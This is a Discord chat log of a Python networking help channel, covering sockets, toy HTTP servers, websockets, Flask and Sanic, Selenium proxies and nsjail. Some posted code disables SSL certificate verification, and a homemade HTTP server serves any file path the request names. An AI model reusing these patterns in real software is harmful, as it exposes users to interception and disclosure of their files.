yeah, the term socket has multiple meanings

scenic bolt
#

Is there any reason to use CSRF tokens for form method GET in HTML? Just looking at GitHub source code for their search bar and they have one for their GET form, but Django recommends it for the POST requests (only?).

storm saffron
#

well with a GET form, you're not sending anything sensitive

#

so there might be no point in CSRF tokens

#

like google want it to be possible to link to their search page

scenic bolt
#

i see, thanks.

#

actually, google wants it for reference? wdym by that?

storm saffron
#

well i can link to google search results

#

and google don't have any reason to stop that

#

i don't see the csrf token in github search btw?

scenic bolt
#

like when their indexing?

storm saffron
#

no,

#

like

scenic bolt
#

when you click on that expanding search bar in the topnav, you can see the input name=csrf appear

#

Ohhh I see what you mean

#

oh it was an input data-csrf="true"

acoustic rampart
#

hey all, im writing a web server for fun but ive run into a wall. im visiting 127.0.0.1/image.png through a browser and i get a broken image/no image. if I put the image into an html file and visit the 127.0.0.1/thehtml.html the image is also broken there (but opening the html normally will show it). in my response I send the proper response code, server name, content-type, and the response body. so when i curl GET the .png link i get

HTTP/1.1 200 OK
Server: Akira Server
Content-Type: image/png

b'\x89PNG\r\n\ a whole lot of gibberish\x00IEND\xaeB`x82'
slender steeple
#

@acoustic rampart looks like youre sending the repr of the bytes object

#

you should be sending this as bytes not str anyways

#

because str will break binary files

acoustic rampart
#

@slender steeple is line 36 not converting it to bytes?

conn.sendall(response.encode())
slender steeple
#

yeah

#

But wherever you concat the body to the headers is wrong

#

but you shouldn't use str at all for networking

#

if you use all bytes then that would fix this problem and future problems related to it

acoustic rampart
#

okay, ill clear up any str's im using and see if that fixes it. thank you

broken orchid
#

how do we solve the PermissionError: [Errno 13] Permission denied

#

plz

dreamy python
#

Hi i got issues with exe file whuch working with wifi(socketio and eventlet.wsgi) the connection is sensitive but when im firing the file from IDE its working smoothly,if someone knows how to convert to exe with taking care of the communication it would be great thanks!

slender steeple
#

@broken orchid send code

inner hawk
#

Hello! l have question about simple web browsing. l'm learning and have task to open file, find the particular link and repeat that several times. l do it with Python 3.8.1 64bit, VS Code. Here is my code:

import urllib.request, urllib.parse, urllib.error
from bs4 import BeautifulSoup
import ssl

# Ignore SSL certificate errors
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

url = input('Enter - ')
html = urllib.request.urlopen(url, context=ctx).read()
soup = BeautifulSoup(html, 'html.parser')

steps = int(input('Enter count: '))
pos = int(input('Enter position: '))
count = 0

# Retrieve all of the anchor tags
tags = soup('a')
for tag in tags:
    count += 1
    if count == pos:
        step = tag.get('href', None) 
        print('Retrieving: ', step)
        url = step
        steps -= 1
    elif steps == 0: break 

But l got only link on the first page and it stops.

Enter - http://py4e-data.dr-chuck.net/known_by_Fikret.html
Enter count: 4
Enter position: 3
Retrieving:  http://py4e-data.dr-chuck.net/known_by_Montgomery.html

So how do i make it work?

plucky fiber
#

Hello I'm using Python websockets, and I have a code like this from the example:

#!/usr/bin/env python

import asyncio
import websockets

async def echo(websocket, path):
    async for message in websocket:
        await websocket.send(message)

start_server = websockets.serve(echo, "localhost", 8765)

asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()

But the function echo() has an object parameter websocket, but I can't figure out where/how it's defined.

I made another function where I want to send a text message, but for that I need websocket.send(), so I need to pass the websocket object in there, but I can't figure out how because I don't know where/how it's defined..

async def sendMsg(websocket, msg):
  await websocket.send(msg)
slim umbra
#

echo just echoes what ever the server receives does it not

#

o.o

plucky fiber
#

Yes, but I have a program running that calculates and generates a message, and then whenever I want, I want to call that function sendMsg but the thing is that in order to send a message to the websocket, I need to pass the argument websocket. But I can't find out where it's created!

#

They just use this start_server = websockets.serve(echo, "localhost", 8765) to call echo() where I assume somewhere the object websocket is automatically passed. But I need to define it somewhere myself, to use it in other function too

#

Right now I can't call sendMsg because I can't find anywhere how to create/pass a websocket object

slim umbra
#

I havent used that lib, I mean I create my own sockets from scratch.. but let me see.

import asyncio
import websockets

async def hello(websocket, path):
    name = await websocket.recv()
    print(f"< {name}")

    greeting = f"Hello {name}!"

    await websocket.send(greeting)
    print(f"> {greeting}")

start_server = websockets.serve(hello, "localhost", 8765)

asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()```
#

This is the other example that they provide

#

Their documentation is pretty trashy, as far I see TBH

#

start_server = websockets.serve(hello, "localhost", 8765)

#

But yes here you are creating a websockets objecting and serving it your coroutine as they call it

#

@plucky fiber

#
import asyncio
import websockets

async def sendMsg(websocket, path):
  msg = input("What's your msg? ")
  await websocket.send(msg)

start_server = websockets.serve(sendMsg, "localhost", 8765)

asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()```
#

I mean I would have to play around with this for a while as their documentation is a bit complex.

sick lodge
#

Hey, I guess its also a good Channel to ask the following question: Is it possible to change the ip adress in A-Record by strato with python. In generall my public adress is changing everey two days and I dont want to pay 50โ‚ฌ/per Month for a static one. Maybe somebody got an other Idea, let me know. thanks

tulip nymph
#
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

The variable serversocket now has my IPv4 address in it right?

#

Not sure if it's the right word

#

it has stored my IPv4 address inside of serversocket?

ocean swallow
#

Hey guys! which best lib to stream video via internet with python? Combine opencv with socketio?

narrow oak
#

Yeah, probably, I'd most likely use raw sockets for streaming though along with opencv2

storm saffron
#

@tulip nymph no, the socket doesn't have any IP address at that point

#

When you do socket.bind, it will store an IP address but that's normally something like 0.0.0.0

plucky fiber
#

@slim umbra sorry for late response. Yes they indeed create it as they serve, can't I make the object first and define it somewhere and then pass that in the .serve while also use it in other functions?

tulip nymph
#

Does anyone know why nmap is so much faster than the port scanner i've written?

#

Like nmap is insanely fast

devout mason
#

anyone know if you can get when a client disconnects from the serverside using sockets?

#

e.g.

#

when someone disconnects print something

tribal frost
#

I recommend using PodSixNet

storm saffron
#

@devout mason I think you'll get an exception in the socket handler when that happens

#

Which you can catch

devout mason
#

๐Ÿ‘

wicked wren
#

I have been researching for days and trying several code examples, When i run the code below, i get no errors, however https://www.myipaddress.com/ detects my real IP address. Why is the following code not running the page with the provided IP address? does anyone have a working proxy solution for python 3.8.6 and selenium?

from selenium import webdriver
import random

def get_proxy():

    proxy_list = []
    with open('scanners\http_proxies.txt') as proxy: 
        for host in proxy: 
            proxy_list.append(host.replace("\n", "")) 

    proxy = proxy_list[random.randint(0, 612)]

    return proxy

PROXY = get_proxy()
print(PROXY)
webdriver.DesiredCapabilities.FIREFOX['proxy']={
    "httpProxy":PROXY,
    "ftpProxy":PROXY,
    "proxyType":"MANUAL",
}
driver = webdriver.Firefox()
driver.get('https://whatismyipaddress.com')```
#

ping me up if anyone knows the solution

slender steeple
#

i think sslProxy?

#

also you need to do driver = webdriver.Firefox(capabilities=firefox_capabilities)

wicked wren
#

ssl proxy makes it unreachable to the website

#

tried capabilities= thingy its still leaking

unborn gazelle
#

quick question, if im setting up firewall rules and open port 443, without specifying that its HTTPS, is that fine or will it default to TCP? or does it matter at all?

not even sure if im wording it correctly, im not too familiar with networking

storm saffron
#

HTTPS travels over TCP, normally using port 443, so TCP is fine

ember ledge
#

Huh

floral python
#
import sys
import os.path
from os import path
from socket import *
from threading import *
def main():
    
    server_sock= socket()
    server_addr= ("127.0.0.1", 8080)
    # 127.0.0.1 for localhost
    server_sock.bind(server_addr)
    server_sock.listen(5)
    while True:
        #accept connections from outside
    #     When accept() returns, it returns a tuple with two elements: a newlycreated socket 
    # (the Connected Socket), and also information about the address
    # of the remote computer. While you have to save both into variables, we will
    # mostly ignore the remote address (except perhaps for debug messages).
        (conn_sock, address) = server_sock.accept()
        thread_handle = Thread(target=check_file, args=(conn_sock, address))
        thread_handle.start()
    server_sock.close()
        #now do something with the clientsocket
        
        # socket.sendall("Some info")
        
        #in this case, we'll pretend this is a threaded server

# SAMPLE GET REQUEST
# GET /docs/index.html HTTP/1.1
# Host: www.nowhere123.com
# Accept: image/gif, image/jpeg, */*
# Accept-Language: en-us
# Accept-Encoding: gzip, deflate
# User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
# (blank line)

def check_file(conn_sock,address):
    req=conn_sock.recv(1024).decode()
    recieved_req_list=req.split(' ')
    file_name=recieved_req_list[1]
    send_str=""
    if not (path.exists(file_name)):
        send_str+="HTTP/1.1 404 Not Found\n\n"
        conn_sock.sendall(send_str.encode())
        
    else:
        send_str+="HTTP/1.1 200 OK\n"
        fobj = open(file_name, "rb")
        whole_file = fobj.read()
        send_str+="Content length: {}\n".format(len(whole_file))
        conn_sock.sendall(send_str.encode())
    conn_sock.sendall(whole_file)
#

I'm trying to set up a simple http server which reads in a file and prints it out

#

it just returns nothing

#

idk why

slender steeple
#

http uses \r\n

#

also your code will throw undefined variable whole_file on 404s

#

@floral python

floral python
#

variables inside if- else statements aren't defined outside it or smth?

slender steeple
#

I mean

#

what value would it have

final moss
#

hi i need help

unborn fiber
#

hi

buoyant bison
#

hi

#

im new here , any recommendations to learn networking?

ember ledge
#

Idk

narrow oak
#

im new here , any recommendations to learn networking?
@buoyant bison
You can find some in the bottom of the pinned message. I personally recommend you look into the OSi model, get to know some basics such as ip adresses, lan, nat, then you could try making a basic server-client program using raw sockets or perhaps something more higher level.

buoyant bison
#

thanks

ionic compass
#

anyone up for help regarding how to get information from jetson nano to cloud server? and also getting online status?

dusk ridge
#

cries in beginner wish i could

placid tree
#

hey guys I have a question. I have been to a gaming lan center where all computers use a local disk for loading the games. I want to learn more about how it is set up but I cannot come up with proper words to even search for it. Is it called diskless network?

ember ledge
#

Hi

#

So I am currently working on a project in python and I need other people to be able to connect to my project through my server

#

are you using a vps @ember ledge

#

Yes

gloomy root
#

ssh

ember ledge
#

^

umbral aurora
#

Hi - not sure if this is the right section. I am trying to write something that reads pcaps and is able to dissect the messages. I found scapy to handle the pcap files but dont know where to start in regards to dissecting the data. Anyone know any good docs/tutorials/books i can look at to learn this.

#

reason i am doing this instead of using say wireshark with a lua is because i want to implement this within a check

#

that i can automate and return data to a dashboard

storm saffron
#

What kind of dissecting do you want to do

umbral aurora
#

its exchange pcaps - i have the exchange docs available on the protocol they are using. i wanna convert the tcp payload into human readable version.

#

im not too familiar with pcaps+python though. so if you know a good resource to start reading taht would help

#

ive googled but theres tutorials on what to do - but not necessarily helping me understand it

tulip nymph
#

google has blocked my ip because I used OSINT tools one too many times

#

is it permanent?

restive blaze
#

Like MS Exchange protocol?

mental saddle
#

need help

#

the rectangle moves fine at times but sometimes it moves forward and backward

wraith grove
#

@mental saddle If it isn't using TCP then order isn't guarenteed

#

you can send a packet # along with each packet and then only update position if the packet # is higher than the last one you recieved

lofty bough
#

I'm using Google Drive API using Google's official API wrapper libraries.
A few minutes ago I started getting errors from the ssl module, like

...
  File "/usr/lib/python3.8/ssl.py", line 1241, in recv_into
    return self.read(nbytes, buffer)
  File "/usr/lib/python3.8/ssl.py", line 1099, in read
    return self._sslobj.read(len, buffer)
OSError: [Errno 0] Error

and

File "/usr/lib/python3.8/ssl.py", line 1241, in recv_into
    return self.read(nbytes, buffer)
  File "/usr/lib/python3.8/ssl.py", line 1099, in read
    return self._sslobj.read(len, buffer)
ssl.SSLError: [SSL: WRONG_VERSION_NUMBER] wrong version number (_ssl.c:2622)

What can I do to debug this issue?

#

It was working absolutely fine before.

#

...I also get free(): corrupted unsorted chunks now... well, that's a whole new level of fun.

wraith grove
#

what version of openssl do you have

lofty bough
#
$ openssl version
OpenSSL 1.1.1  11 Sep 2018
#

well, it worked perfectly an hour ago or so ๐Ÿค”

wraith grove
#

does the error happen consistently now?

#

Apparently this can be caused by including the port in the Host field of the HTTP request

#

not sure if that is relevant here without any code though

lofty bough
#

Well, it's a bit weird. When I do certain requests, it works flawlessly. And now it throws different errors.

#

Apparently this can be caused by including the port in the Host field of the HTTP request
What do you mean by that?

wraith grove
#

Have you ever looked at an HTTP conversation in wireshark?

#

or in curl for that matter

lofty bough
#

Oh, I see

wraith grove
#

Its just a field that gets sent along with the request

lofty bough
#

Yes, Host includes the port

Host: localhost:9876

#

is that bad somehow?

wraith grove
#

I think its from a http -> https redirect

#

causes the issue

#

does the server redirect to a different port?

lofty bough
#

no

#

alright, I'm going to bed now, will try to fix it tomorrow

#

free(): corrupted unsorted chunks is really weird

#

that's all because Google mixes camelCase and snake_case in their parameter and variable names, of course

#

thanks for the help, maybe I should just upgrade openssl and see what happens

lofty bough
#

I've put a mutex on Google API access, that fixed everything

#

Now I'm even more puzzled.

bright condor
#

Hi guys. I am a beginner. I am interested to do a project on Networking. can i get some ideas?

ember ledge
#

Port scanner @bright condor

bright condor
#

thanks @ember ledge will check that out

ember ledge
#

Kk

astral matrix
#

This and also a command line chat app

teal roost
ember ledge
#

So I needed help and my question was how do I get proxies from a file and put them in a request

storm saffron
#

what does that mean

#

use them in a request?

#

and get them from a file how

ember ledge
#

@storm saffron I mean getting a proxyโ€™s ip and port and put it in a dictionary. Getting a proxy ip:port and use it to send a get request using requests module.

nova perch
#

What is the difference between latency and respond time?

carmine wyvern
#

i dont get the concept socket and hou to use it

#

can somone help me

ember ledge
#

Ur connecting to server with socket

#

Sockets are like connector if u now what i mean

bronze schooner
#

Whats the best module to use for proxies?

#

@lofty bough

lofty bough
#

i have no idea

bronze schooner
#

How do I connect to discord from a proxy?

narrow oak
#

Connect to discord how? From an api wrapper or through a get/post request? If you're sending get/post request through the requests module you can pass in a proxies argument. Discord.py also has a way.

ember ledge
#

networking resources please

narrow minnow
#

Can I ask here for help on webscraping replies to my instagram dms from friends or is that considered very against tos? Not a stupid spam bot but something to, for example print my insta dms in the pyhton console in realtime. pingy

gloomy root
#

@narrow minnow agasint TOS

narrow minnow
#

that is quite sad

#

my disappointment is immeasurable and my day is ruined

narrow oak
#

networking resources please
@ember ledge there are some in the bottom of the pinned message. Personally I recommend you look into the OSI model then read up on ip, lan, etc.. Then eventually try to build a very basic chat app. There are many great resources on building a chat app and you will learn a lot if you start to build something.

ember ledge
#

thank you very much! i am bookmarking this message

plucky fiber
#

Guys network question.
I am serving a Flask website local on my device

threading.Thread(target=app.run(host="127.0.0.1", port=5000).start()
.....
 * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)

Then on that website I have in the JavaScript a websocket:

var ws = new WebSocket("ws://127.0.0.6:5678/")

that I connect to in my Python script again

start_server = websockets.serve(handle_ws, "127.0.0.6", 5678)

This will all work on my device, I can go to the website and the websocket will make a connection. Now I want to use this on a different device on the local network, but I can't figure out how to get the websocket part working..

#

Changing the Flask part to:

threading.Thread(target=app.run(host="0.0.0.0", port=5000).start()

And then connecting to the IPv4 address of the hosting PC 192.168.X.X:5000 works, also on other devices. But for the websocket part I can't figure it out.

#

I tried to change

var ws = new WebSocket("ws://192.168.X.X:5678/")

and

start_server = websockets.serve(handle_ws, "0.0.0.0", 5678)

And vice verse, but that doesn't work.

plucky fiber
#

Anyone?

plucky fiber
#

sad noises ๐Ÿ˜ฆ

plucky fiber
#

I managed to fix it by changing the Thread line to this

threading.Thread(target=app.run, kwargs={'host': '0.0.0.0', 'port': 5000}).start()

I noticed that when I directly put args in the Thread app.run() it wouldn't work even locally, now it does ๐Ÿ™‚

#

However now I also figured out that Python websockets only send messages to 1 clients at a time... I was hoping to all of them :C

gloomy root
#

Just use a loopโ„ข๏ธ

#

It has to send them one at a time regardless of if you do it or if it does it internally

plucky fiber
#

It's all async stuff and I try to send them to all of my connected clients in a for loop but it's giving alot of problems to the async library

#

The library has some pretty weird stuff and lack on docs that makes it hard to use

#

But there isn't really an alternative..

gloomy root
#

@plucky fiber really bad idea mixing flask and async

#

Especially come deployment where gevent will clash with the asyncio loop if you use that deployment method

#

If you want todo it like that I would highly advise using Quart which is pretty much drop in async flask or sanic which is much more perfomant with WS built in

plucky fiber
#

Hmh.. I use Flask only when the IP address is entered to load an HTML file, from then on Flask won't do anything anymore. There's Javascript running on the hosted HTML file which then communicates with Python websockets. This way all data is changed live on the webpage without refreshing. I couldn't find another way to host an HTML file other than Flask.

gloomy root
#

I would personally go with sanic for that, been doing a similar thing with it

plucky fiber
#

I was having trouble with it for so long, I had the websockets running and then realised I didn't host a file yet.. I tried a lot of things and ended up with Flask only getting to work.

#

I will have a look at sanic right now, thank you ๐Ÿ™‚

gloomy root
#

That's a test system we setup

plucky fiber
#

Use Sanic to host the webpage? Looks very similar to Flask

gloomy root
#

Sanic does both

#

Take a look at what we've done for testing there, though the backend code itself is messy you'll probably find the router module useful for controlling your layout

plucky fiber
#

That's exactly what I've been looking for... ๐Ÿ˜ฎ

gloomy root
#

Might also find euros useful but idk if I committed that yet

plucky fiber
#

I'll have a look! Let me get it straight though: Sanic hosts the HTML file, on the HTML file runs Javascript websocket which then connects to the Python code/socket that can read and send the messages

gloomy root
#

Yh

plucky fiber
#

Does it work on python 3.7? Seems it's not supported anymore sanic

gloomy root
#

3.8+ is supported

#

I build on 3.7 and deploy to 3.8 so it should work fine

plucky fiber
#

Ahh nice man!

#

I have to go home now, I will have a look at it tomorrow and probably ask you a few more questions about it :D, hope that's ok for you

gloomy root
#

Np that's fine

plucky fiber
#

Also: can it broadcast messages to all clients?

#

Like without too much hassle

gloomy root
#

I mean you can just make a list and iterate through doing await ws.send

plucky fiber
#

Yeah that's what I have with my current code and it makes it crash

#

Something with 'can't receive message for ws X while other ws already received the message'

#

something like that

#

anyway I really have to go, will talk to you later tomorrow ๐Ÿ™‚

gloomy root
#

Kk

ember ledge
#

can someone help me with nginx conf file

#

i know what it it and am stuck at a simple flask application deployment

ember ledge
#

got it, this is very rare topic

#

but i figured it out on my own.. it took two days for me realise a simple syntax of conf file

#

upstream flask_app_name { server localhost:8081; }

#

this above line took two fucking days to figure out

#

but am happy now๐Ÿ˜๐Ÿ˜ญ๐Ÿ™„๐Ÿ˜‚

#

damn i have no friends, i cannot share this with anyone but people on discord๐Ÿ˜ญ

#

hmmm,.............๐Ÿ˜ญ๐Ÿ˜ญ๐Ÿ˜ญ๐Ÿ˜ญ๐Ÿ˜ญ

woven badge
#

Is there a difference between a Procfile and RUN from a Dockerfile?
I'm trying to do:
web: gunicorn --worker-class eventlet -w 1 app:app

white hare
#

how would you add a suffix list in python for resolving hosts

#

currently using the socket library

#

if it fails just go and append each suffix to the end of the host

upbeat forge
#

how decrypt https

gloomy root
#

@upbeat forge pretty simple; you dont

slender steeple
#

unless the ssl/tls version is broken

#

and you use a known exploit

ashen hearth
#

guys i need a website which can give me free server on the cloud which is very fast because i need to query for downloading a 5 - 50 kb file using a website link

gloomy root
#

pick 1:

  • free
  • fast
rough mulch
#

Any good alternatives to proxy.py? Need a simple proxy server

dusk sparrow
#

Hello , Ive been trying to deploy a service using nsjail , but each time I do so , and connect to the service with nc , I get , css [E][2020-09-30T11:18:25+0000][6] pid_t subproc::runChild(nsjconf_t*, int, int, int, int)():464 clone(flags=CLONE_NEWNS|CLONE_NEWCGROUP|CLONE_NEWUTS|CLONE_NEWIPC|CLONE_NEWUSER|CLONE_NEWPID|CLONE_NEWNET|SIGCHLD) failed. You probably need root privileges if your system doesn't support CLONE_NEWUSER. Alternatively, you might want to recompile your kernel with support for namespaces or check the current value of the kernel.unprivileged_userns_clone sysctl: Operation not permitted I tried running

RUN (echo 1 | tee /proc/sys/kernel/unprivileged_userns_clone) || (echo 'kernel.unprivileged_userns_clone=1' | tee /etc/sysctl.d/00-local-userns.conf) 2>&1
RUN service procps restart```
as suggested by google,  but that doesnt work either
this is How Im invoking nsjail , 
```sh
#!/bin/bash

./nsjail \
    -Ml --port 9000 \
    --user nobody \
    --group nogroup \
    --max_conns_per_ip 5 \
    --cwd /home/ctf \
    -R /app -R /bin -R /lib -R /lib32 -R /lib64 \
    --time_limit 30 \
    --cgroup_cpu_ms_per_sec 100 \
    --cgroup_pids_max 64 \
    --cgroup_mem_max 67108864 \
    -- $@```

has anyone had an experience with hosting services using nsjail? , I'd be more than happy to be helped , thanks
mighty river
#

Can someone help me with SocketIo Client i am bit confued

storm saffron
#

!ask

#

damn

#

well

#

just ask your question

#

easiest that way

mighty river
#

idk how to make a connection to the local host using the ip 127.0.0.1 on the port 12136

#

trying do the step 1

storm saffron
#

have you ever used sockets before

mighty river
#

nope

#

i read the doc but still confued

storm saffron
#

try a tutorial

#

sorry i would try to help but its midnight here and my brain is

#

fried

#

and i have physics work still to do rolf

mighty river
#

I need help with SocketIO connect to a program

ashen hearth
#

guys I want to have a basic rest api which returns a json file when i query

#

here's my code:

#
from flask import Flask
from flask_restful import Api, Resource

# Create Flask App
app = Flask(__name__)
# Create API
api = Api(app)

files = {
    "file1.json" :
    {
        "command": "sudo apt install helloworld",
        "url": "https://www.google.com",
    }
}

class FileQuery(Resource):
    def get(self, file_name : str):
        return files[file_name]


# Adding Pagelink For /helloworld
api.add_resource(FileQuery, '/download/<string:file_name>')

if __name__ == "__main__":
    # Debug Is True For Auto-Reload
    app.run(debug=True)
#

would this work on an actual server when i send a download request to it?

#

and if i needed to add more files like the file1.json, would i have to keep on manually adding it to the files array

#

i want to just upload a json file, not paste all of its contents into a dictionary

ashen hearth
#

anyone??

gloomy root
#

Erm well that's generally not how rest apis work

#

Normally you return a json response not a json file, and you dump the object to a str

ember ledge
#

how do you guys learn networking cause all i can find is basic tuts on sockets

#

so i don't know how to move on

swift terrace
#

Hey, I'm also new here, but take a look at the pinned messages. There are a few links, that might help.

rustic aspen
#

Hello, anyone has some knowledge on socketserver? I am trying to create a socketserver.StreamRequestHandler but I can't get a stream of data from the client.

storm saffron
#

can't get how

#

what doesn't work

rustic aspen
#

Thanks! I am trying to develop a server with two parts: A socket server that will receive a live mp4 by stream. And a second part that is an API server with Falcon that will send back the data to get request. My current problem is about the definition of a class that inherits from socketserver.StreamRequestHandler

storm saffron
#

can you show your code

rustic aspen
#

Here my Socket server (nothing special)

class ThreadedSocketServer(object):
    """ Threading example class
    The run() method will be started and it will run in the background
    until the application exits.
    """

    def __init__(self, interval=1):
        """ Constructor
        :type interval: int
        :param interval: Check interval, in seconds
        """
        self.interval = interval

        thread = threading.Thread(target=self.run, args=())
        thread.daemon = True                            # Daemonize thread
        thread.start()                                  # Start the execution

    def run(self):
      HOST, PORT = "localhost", 8001

      # Create the server, binding to localhost on port 9999
      server = socketserver.TCPServer((HOST, PORT), MyTCPHandler)

      # Activate the server; this will keep running until you
      # interrupt the program with Ctrl-C
      server.serve_forever()
#

My TCP handler:

#
class MyTCPHandler(socketserver.StreamRequestHandler):

    def setup(self):
      print(self.client_address[0],' connected')
      socket_list.append(self)

    def handle(self):
        #throw error
        self.rfile.readline().strip()

    def finish(self):
      print(self.client_address[0],' disconnected')
      socket_list.remove(self)
#

here the handle is only for test, I want to use the .rfile somewhere else in my code (via socket_list)

#

My API server:

class StreamResource:
    def on_get(self, req, resp):
        #Have to be fixed
        #resp.stream = hlserver.socket_list[0].rfile.iter_content(io.DEFAULT_BUFFER_SIZE)
  
app = falcon.API()
app.add_route('/livestream.mp4', StreamResource())
socket_server = hlserver.ThreadedSocketServer()
#

Thank you for your help!

storm saffron
#

hmm that's odd

#

and you're using it exactly like the example

rustic aspen
#

I have added print(self.dir()) in the handle method

#

I get this

#
['request', 'client_address', 'server', '__module__', '__doc__', 'setup', 'handle', 'finish', 'rbufsize', 'wbufsize', 'timeout', 'disable_nagle_algorithm', '__init__', '__dict__', '__weakref__', '__repr__', '__hash__', '__str__', '__getattribute__', '__setattr__', '__delattr__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__new__', '__reduce_ex__', '__reduce__', '__subclasshook__', '__init_subclass__', '__format__', '__sizeof__', '__dir__', '__class__']
#

I don't know how I can get a data stream to pass to my API

storm saffron
#

hmm

#

maybe instantiate your own mytcphandler

#

i really don't know

#

this is odd

ember ledge
#

So im trying to establish a connection to a websocket
I have no idea how to do this
So here are someone of my question
1.How do i connect to a websocket
2.How do i send payload to a websocket
3.How do i recieve information from a websocket

gloomy root
#

a websocket is a very specific thing

swift portal
#

Ah yeah. My bad

gloomy root
#

@ember ledge you need to use some WS client, depending on if this is for python or not, use aiohttp for python clients (uses asyncio)

#

if its for front end JS on a website or something

#

its just

let socket = new Websocket("ws://my-thing.com/my/ws/path");
ember ledge
#

oh

#

thanks

mellow wolf
#

can i ask questions related to web scraping here?

glad totem
copper hearth
#

ยฏ_(ใƒ„)_/ยฏ

timid matrix
#

Hey, so my teacher gave us an example client and server for a basic socket communication test.
But my client doesn't work for some reason.

#
#server
from socket import *

serverPort = 12000
serverSocket = socket(AF_INET,SOCK_STREAM)
serverSocket.bind(('',serverPort))
serverSocket.listen(1)
print('The server is ready to receive')

while True:

    connectionSocket, addr = serverSocket.accept()
    sentence = connectionSocket.recv(1024).decode()
    capitalizedSentence = sentence.upper()
    connectionSocket.send(capitalizedSentence.encode())
    connectionSocket.close()
#
#client
from socket import *

serverName = 'servername'

serverPort = 12000

clientSocket = socket(AF_INET, SOCK_STREAM)
clientSocket.connect(serverName, serverPort)
sentence = input('Input lowercase sentence:')
clientSocket.send(sentence.encode())
modifiedSentence = clientSocket.recv(1024)
print('From Server: ', modifiedSentence.decode())
clientSocket.close()
#

I get this error whenever I run the client:

#
Traceback (most recent call last):
  File "c:/Users/Brave/Desktop/Python Projects/Networks Assignment 1/client.py", line 8, in <module>
    clientSocket.connect((serverName,serverPort))
socket.gaierror: [Errno 11001] getaddrinfo failed
gloomy root
#

i think in this case servername should be localhost

#

and serverName, serverPort being a tuple (serverName, serverPort)

timid matrix
#

It does open now. Now whenever I type in a sentence on the client while the server is open, the client closes immediately

#

And nothing happens

#

Okay, so my client works when I have it open in console on Visual Studio Code and my server is on cmd.exe, but my client closes when I send data through it on cmd.exe.
Is there a way I can prevent cmd.exe from closing there?

gloomy root
#

dont run with cmd

#

run it with idle or smth

timid matrix
#

Oh yeah

#

Cause it closes as soon as the program is resolved

last timber
#

seems like the client needs an infinite loop too!

storm saffron
#

also why a lowercase sentence

timid matrix
#

idk

#

prejudice against the lower cases

timid matrix
#

Hey, so my server isn't sending data back to my client properly and I'm trying to figure out why

#

My current client is

#client
from socket import *

serverName = 'localhost'

serverPort = 12000

clientSocket = socket(AF_INET, SOCK_STREAM)
clientSocket.connect((serverName, serverPort))

clientNumber = input('Input Number: ')
clientName = input('Input client name:')
clientData = clientNumber + ':' + clientName
clientSocket.send(clientData.encode())
receivedData = clientSocket.recv(1024).decode()
dataArray = receivedData.split(':') #e.g. [99 + rand, Server of Bob Smith]
print(receivedData[0])
print(receivedData[1])

clientSocket.close()

My current server is

from socket import *
import random
familiarServerName = 'Server of Bob Smith'
serverPort = 12000
serverSocket = socket(AF_INET,SOCK_STREAM)
serverSocket.bind(('',serverPort))
serverSocket.listen(1)
print(familiarServerName)

while True:

    connectionSocket, addr = serverSocket.accept()
    receivedData = connectionSocket.recv(1024).decode()
    dataArray = receivedData.split(':') #e.g. [99, Tri Basu]
    receivedNumber = receivedData[0]
    receivedName = receivedData[1]
    clientOfName = "Client of" + receivedName
    print(clientOfName)
    print(familiarServerName)

    outputNumber = receivedNumber + random.randint(0,100) 

    outputData = outputNumber + ":" + familiarServerName
    connectionSocket.send(outputData.encode()) #send client data back
    connectionSocket.close()
#

The error I get is that receivedData in the client doesn't have any items

#
Traceback (most recent call last):
  File "c:/Users/Brave/Desktop/Python Projects/Networks Assignment 1/client.py", line 17, in <module>
    print(receivedData[0])
IndexError: string index out of range
timid matrix
#

alright so it looks like i didn't cast properly

#

got it fixed

storm saffron
#

yeah looks like a typo

kindred turret
#

what will be a cool beginner project if i want to learn sockets

gloomy root
#

a very very basics client server comm ig

#

though sockets are very much not beginner level and their applications generally ramp up in difficulty rather quickly

kindred turret
#

oh i have done that much in a tutorial wanted to make something with it

gloomy root
#

you could do a very very basic http server

kindred turret
#

oh i c ty

#

my aim is to make a ftp server someday with it

turbid drift
wanton egret
#

im using python to create a local web server with authentication;

i send HTTP/1.1 401 Unauthorised Authenticate: Basic relm=""

after one sign in the web browser remembers the auth details
how can i stop it from saving them or how can i set an expirery time?

ember ledge
#

@kindred turret you can make a chat app, im also new to networking and my progress isn't bad so i don't think its too complicated

storm saffron
#

@wanton egret I think you can send a 401 back again to force a login

#

Or something along those lines

low isle
#

what's the most reasonable way to deal with server to server communication?

right now i've got servers A & B that need to communicate with server C (the shared DB)

dreamy python
#

Hi i got issue of unstable server.exe file i mean the connection all time is connecting and disconnecting what can i do?? If i run the file from IDE so the connection is stable..

undone gust
#

So, when i open my program to check if whatever i added works, i sometimes find bugs, so i need to go back, fix them, then close the program, re open it, and try again, but whenever i do this, when i open the program again, it keeps saying "Address already in use" even though the program was closed, and i made sure to close every connection before closing it, and i have to wait something like a minute or two before i can start working on it again, is there any way to avoid this?

low isle
#

to use WSS to communicate between my servers, do i just use this url pattern?
wss://{TARGETHOST}:{TARGETPORT}/{ETC}

wanton egret
#

@storm saffron thank you.

#

next problem;
when i include the style in the html document it works fine, but when i put it in a different file and link it, it does not work

note: when loading the file from the drive it works fine but loading it with my server is when it fails

#

the browsers developer tools shows the file was sent successfully and i can even see the style in text, it just does not get applied to the page

ember ledge
#

3

ember ledge
#

Ok so I have a chat room project and im going to put it on a vps so If I bind the ports can they join through ssh or they can only connect through client.py

storm saffron
#

what do you mean join by ssh

#

if you have an ssh service running and you open the ssh port then yes

#

but that's an awful idea

#

if you open only the port you're using for the chat room then only that port will get through

#

so client.py would work but someone could use another program to join as well

low isle
#

for something like that i'd personally use websockets lol

#

ssh just sounds cumbersome for something like that

storm saffron
#

oh are they actually using ssh to communicate

low isle
#

that's what i read

storm saffron
#

sounds questionable

#

so i will question it

#

why!

restive blaze
#

A lot of this channel is why

#

But yes websocket is good way to deal with it.

tardy cargo
#

guys how can i get a specific app / game ip from android using python ?

upbeat forge
#

is there a way i could verify a user connects to a server with a proper client?

#

